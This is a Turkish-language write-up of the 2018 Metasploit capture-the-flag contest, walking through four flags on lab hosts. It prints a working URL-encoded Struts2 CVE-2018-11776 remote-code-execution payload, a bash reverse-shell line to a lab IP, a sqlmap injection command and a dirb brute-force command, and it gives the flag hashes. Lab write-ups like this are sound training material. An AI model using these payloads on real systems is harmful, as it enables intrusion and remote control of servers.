MetasploitCTF-2018 Write-Up
METASPLOIT CTF Rapid7 şirketi tarafından geleneksel olarak düzenlenen uluslararası bir CTF organizasyonudur. Yazımda, yarışma boyunca yakaladığım 4 farklı bayrağın nasıl ele geçirileceğini sizlere aktarmaya çalışacağım.
ssh -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
nmap -sS -T4 -sV -p- [target]
ssh -D 8080 -i metasploit_ctf_kali_ssh_key.pem ec2-user@34.230.21.254
10 of Hearts (Port:8080 - Target:Ubuntu)
8080 portu üzerinde Struts2 uygulaması çalışmakta. Çok fazla detaya girmeyeceğim. Birçok exploit denedim. CVE-2017-5638 zafiyeti de dahil. Ancak 2018 yılında yayınlanan CVE-2018-11776 kodlu yeni bir zafiyet vardı. Zafiyeti kanıtlayan bu makaleyi inceleyebilirsiniz.(https://github.com/hook-s3c/CVE-2018-11776-Python-PoC) Exploiti okuduktan sonra aşağıdaki gibi bir payload ile uzaktan kod çalıştırma(Remote Code Execution) yapılabilir.http://172.16.23.21:8080/showcase.action/%24%7B%28%23_memberAccess['allowStaticMethodAccess']%3Dtrue%29.%28%23cmd%3D'[COMMAND HERE]'%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28'os.name'%29.toLowerCase%28%29.contains%28'win'%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B'cmd.exe'%2C'/c'%2C%23cmd%7D%3A%7B'bash'%2C'-c'%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.actionBu zafiyeti kullanarak uzak oturum açabiliriz ve sunucuda rahatlıkla komut çalıştırabiliriz. Natcat ile uzaktan oturum açmak için aşağıdaki gibi bir bash script komutu kullanabiliriz.
bash -i >& /dev/tcp/172.16.23.20/6655 0>&1
find -name "*flag*" find -name "*hearts*" find -name "*diamonds*" find -name "*clubs*" ...Bir süre denedikten sonrasında flag dosyasını yakalıyoruz. Flag dosyasını onaylamak ve md5 hash halini almak için kendi bilgisayarımıza transfer etmemiz gerekliydi. Bu işlemi dosyanın base64 kodunu alarak gerçekleştirebiliriz. Base64 kodu aldıktan sonra, herhangi bir online decode sitesini kullanabilirsiniz. Sonrasında ise bayrağı yakalamış oluyoruz. Flag : 38b8c45772c8d254144d4e4f597bc81a
8 of Diamonds (Port:8181 - Target:Ubuntu)
8181 portuna erişim sağlandığında "8 of Diamonds" adında bir sayfa ile karşılaşıyoruz. Dolayısıyla hangi soru ile uğraşacağımızı da öğrenmiş oluyoruz. İlk önce bunu bir flag olarak düşünsekte, değildi :) Kaynak kodlar incelendiğinde, arkaplanda JavaScript kodlarının çalıştığını görebiliriz. Ancak bu resimde bir şeyler gizleniyor olabilir. Resmi indirerek inceliyoruz. Resim dosyası üzerinde steganography yöntemleri ve exif, meta-data gibi veri alanları incelenebilir. Ancak içerdiği kodlara hızlıca göz atmamızı sağlayan "strings" komutuyla kontrol ettiğimizde, bir ipucuyla karşılaşıyoruz. texthint = JSObfu JSOBfu, Rapid7 tarafından yayınlanmış ve ruby diliyle yazılmış bir Javascript obfuscator aracıdır. (https://github.com/rapid7/jsobfu) Ancak biz kaynakta yer alan javascript kodlarını obfuscate değil deobfuscate etmemiz gerekiyor. Github açıklamalarını okuduğumuzda, deobfuscate işlemini gerçekleştirebileceğimiz bir online site bilgisi görüyoruz. Javascript kodlarını kopyaladıktan sonra bu site (http://m1el.github.io/esdeobfuscate) üzerinden deobfuscate edebiliriz. Deobfuscate işleminden sonra, 2 farklı base64 image kodu olduğunu görüyoruz. Birincisi bizi trolleyen image dosyası :) Fakat ikincisi aradığımız bayrak oluyor. Flag : e36f54b8a3cae7a137917f16b96907593 of Diamonds (Port:8880 - Target:Ubuntu)
8880 portuna bağlantı sağlandığında güvenli dosya depolama adlı bir script ile karşılaşıyoruz. Siteyi inceledikten sonra, sadece "Unhackable" denilen bölüm dikkatimizi çekiyor. Hacklenip hacklenmeyeceğini göreceğiz :)) "load.php" üzerinde "KEY" parametresinin çalıştığını keşfediyoruz. Sql injection denemezsek ölürüz :)) Sqlmap zamanı! Basit parametrelerle saldırıyı başlatıyoruz.sqlmap -u "http://172.16.23.21:8880/load.php?KEY=test" --dbs --random-agent
3 of Clubs (Port:31063 - Target:Ubuntu)
31063 portuna göz attığımızda, çok basit bir web arayüzü ile karşılaşıyoruz. Bayrağı yakalamamız için özel ve tek bir kelimeye ihtiyacımız olduğunu anlıyoruz. Bir çok fikir yürüttükten sonra, Brute Force(Kaba Kuvvet) saldırısı gerçekleştirmemiz gerektiğini anlamalıydık. Brute Force saldırısı için hangi wordlist kullanılacağı iyi düşünülmeliydi. Metasploit CTF yarışmasındayız :) Dolayısıyla Metasploit-Framework aracına ait wordlist kullanmalıyız. Bu dizinden tüm wordlistleri görebiliriz. (/opt/metasploit-framework/embedded/framework/data/wordlists) Sık kullanılan "password.lst" wordlist kullanmayı deneyebiliriz. Bu saldırı için en uygun araç "dirb" olacaktır. Çünkü kelimelerin sonuna ".png" uzantısı koyacağız ve hızlı bir dizin taraması olsun istiyoruz. Aşağıdaki gibi bir dork ile taramayı başlatabiliriz.dirb [target] [worlist] -X [extension]
Azimli günler diliyorum. (AkkuS)